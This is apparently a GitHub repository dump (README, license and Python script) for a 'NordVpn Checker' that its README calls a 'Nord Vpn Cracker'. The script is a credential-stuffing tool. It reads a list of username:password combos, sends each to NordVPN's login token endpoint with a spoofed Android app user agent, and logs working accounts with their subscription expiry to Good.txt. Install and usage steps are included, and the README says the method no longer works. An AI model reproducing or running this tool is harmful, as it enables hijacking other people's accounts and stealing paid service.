├── example.png ├── README.md ├── LICENSE └── NordVpn_Checker.py /example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AmirTyper/NordVpn_Checker/HEAD/example.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Important Note! 2 | 3 | This method is not working anymore. I hope you enjoyed it in the past 3 years. 4 | 5 | # NordVpn_Checker 6 | 7 | 8 | Nord Vpn Cracker ProxyLess 9 | 10 |
11 | 12 |
13 | 14 | 15 | How To Install: 16 | pkg update 17 | pkg upgrade 18 | pkg install python 19 | pkg install base64 20 | pkg install requests 21 | pkg install re 22 | pkg install git 23 | 24 | -- HOW TO Use: 25 | 26 | git clone https://github.com/Amirtyper/NordVpn_Checker.git 27 | cd NordVpn_Checker 28 | python NordVpn_Checker.py 29 | 30 | 31 | 32 | # Support me 33 | The easiest way to support me is to click on the star () at the top of GitHub page. 34 | 35 | # Contact me 36 |
Developer's Telegram: Mr_Amir_Typer
37 | Developer's Instagram: amir_typer
38 | Developer's Twitter: AmirTyper
39 | My Website: amirtyper.ir
40 | 
41 | 42 | 43 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Boost Software License - Version 1.0 - August 17th, 2003 2 | 3 | Permission is hereby granted, free of charge, to any person or organization 4 | obtaining a copy of the software and accompanying documentation covered by 5 | this license (the "Software") to use, reproduce, display, distribute, 6 | execute, and transmit the Software, and to prepare derivative works of the 7 | Software, and to permit third-parties to whom the Software is furnished to 8 | do so, all subject to the following: 9 | 10 | The copyright notices in the Software and this entire statement, including 11 | the above license grant, this restriction and the following disclaimer, 12 | must be included in all copies of the Software, in whole or in part, and 13 | all derivative works of the Software, unless such copies or derivative 14 | works are solely in the form of machine-executable object code generated by 15 | a source language processor. 16 | 17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT 20 | SHALL THE COPYRIGHT HOLDERS OR ANYONE DISTRIBUTING THE SOFTWARE BE LIABLE 21 | FOR ANY DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT OR OTHERWISE, 22 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 23 | DEALINGS IN THE SOFTWARE. 24 | -------------------------------------------------------------------------------- /NordVpn_Checker.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import base64 3 | import re 4 | 5 | welcome = """ 6 | ||||| NordVpn Checker [ProxyLess] ||||| 7 | 8 | |||| Coded By : @Mr_Amir_Typer |||| 9 | 10 | ||| Our Channel : @Sezar_Hack ||| 11 | 12 | || ©Powered By : NowaTech.ir || 13 | """ 14 | print(welcome) 15 | def login(combo): 16 | try: 17 | 18 | url = "https://zwyr157wwiu6eior.com/v1/users/tokens" 19 | headers = { 20 | "accept": "*/*", 21 | "user-agent": "NordApp android (playstore/2.7.3) Android 8.1.0", 22 | "content-type": "application/x-www-form-urlencoded", 23 | } 24 | 25 | data = combo.split(":") 26 | r = requests.post(url, headers=headers, data="username="+data[0]+"&password="+data[1]) 27 | f= open("c.sz","w+") 28 | f.write(r.text) 29 | f.close() 30 | return r.text 31 | except: 32 | print ("\n[[error: check your internet or change your ip and try again]]"+"\n") 33 | x="" 34 | def main(): 35 | list = open(input("ComboList: "), "r").read().splitlines() 36 | print(x) 37 | for combo in list: 38 | if "\"token\":" in login(combo): 39 | fopen = open("c.sz","r").read() 40 | regex = r"\"token\":\"(.+?)\"" 41 | test_str =str(fopen) 42 | matches = re.finditer(regex, test_str, re.MULTILINE) 43 | for matchNum, match in enumerate(matches, start=1): 44 | for groupNum in range(0, len(match.groups())): 45 | groupNum = groupNum + 1 46 | token = "{group}".format(groupNum = groupNum, start = match.start(groupNum), end = match.end(groupNum), group = match.group(groupNum)) 47 | message = "token:"+token 48 | message_bytes = message.encode('ascii') 49 | base64_bytes = base64.b64encode(message_bytes) 50 | base64_message = base64_bytes.decode('ascii') 51 | b64 = base64_message 52 | url2 = "https://zwyr157wwiu6eior.com/v1/users/services" 53 | headers2 = { 54 | "accept": "*/*", 55 | "user-agent": "NordApp android (playstore/2.7.3) Android 8.1.0", 56 | "content-type": "application/x-www-form-urlencoded", 57 | "Authorization": "Basic "+b64 58 | } 59 | r2 = requests.get(url2, headers=headers2) 60 | #print(r2) 61 | cap = r2.text 62 | regex2 = r"\"expires_at\":\"(.+?)\"" 63 | test_str2 =cap 64 | matches2 = re.finditer(regex2, test_str2, re.MULTILINE) 65 | for matchNum2, match in enumerate(matches2, start=1): 66 | for groupNum2 in range(0, len(match.groups())): 67 | groupNum2 = groupNum2 + 1 68 | exp = "{group}".format(groupNum2 = groupNum2, start = match.start(groupNum2), end = match.end(groupNum2), group = match.group(groupNum2)) 69 | #print(exp) 70 | 71 | try: 72 | f = open("Good.txt", "a") 73 | f.write(combo+" -----> Good | Date = " + str(exp) + "\n") 74 | f.close() 75 | print (combo+" -----> Good | Date = " + str(exp)) 76 | except: 77 | print(combo+" -----> Good | No Service") 78 | f.write(combo+" -----> Good | No Service" + "\n") 79 | f.close() 80 | else: 81 | if "nginx" in login(combo): 82 | last = open("last.sz","a") 83 | last.truncate(0) 84 | last.write(combo+"\n") 85 | last.close() 86 | openlast = open("last.sz","r").read() 87 | 88 | print ("\n[[error: check your internet or change your ip and try again]]"+"\n") 89 | if "name=" not in openlast: 90 | print("Last Combo: "+openlast) 91 | else: 92 | print("Last Combo: "+openlast) 93 | pass 94 | return 95 | else: 96 | print (combo+" -----> Bad") 97 | if __name__ == "__main__": 98 | main() 99 | print("\n*====================The-End====================*") 100 | 101 | #1399/04/07 102 | #27/6/2020 103 | --------------------------------------------------------------------------------